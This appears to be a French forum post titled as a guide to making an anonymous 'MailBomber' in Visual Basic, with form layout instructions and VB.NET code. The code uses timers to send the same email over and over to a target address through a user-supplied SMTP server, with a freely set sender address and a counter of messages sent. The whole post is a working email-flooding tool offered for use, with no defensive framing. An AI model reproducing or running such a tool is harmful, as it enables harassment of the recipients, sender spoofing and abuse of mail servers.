Pour le créer il vous faut- 6
Labels- 2
Boutons- 5
Textbox- 2
TimerDans une Label mettez Adresse de L'expéditeur, la deuxième : Adresse du Destinataire, la troisième SMTP, la quatrième : Sujet et la 5ème Message, dans la sixième vous mettez un 0.
Vous pouvez modifier comme bon vous semble le texte hein :p
Puis nommer les boutons comme vous le voulez Start Et Stop.
Placez les Textbox à coté des Labels.
Maintenant les codes
Timer1 :| Code: |
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox4.Text)
MyMailMessage.Subject = TextBox5.Text
MyMailMessage.Body = (Me.TextBox1.Text)
Dim SMTPServer As New SmtpClient(TextBox3.Text)
Try
SMTPServer.Send(MyMailMessage)
Catch ex As SmtpException
Timer1.Enabled = False
Timer2.Enabled = False
MessageBox.Show("SMTP Error")
End Try
|
Timer 2 :
| Code: |
Label6.Text = Label6.Text + 1 |
Bouton Start :
| Code: |
Timer1.Enabled = True
Timer2.Enabled = True |
Bonton Stop :
| Code: |
Timer1.Enabled = False
Timer2.Enabled = False |
[Attention] ~
Sujet: Créer un MailBomBer [VB] [Anonyme] 
Mar 5 Avr - 21:40
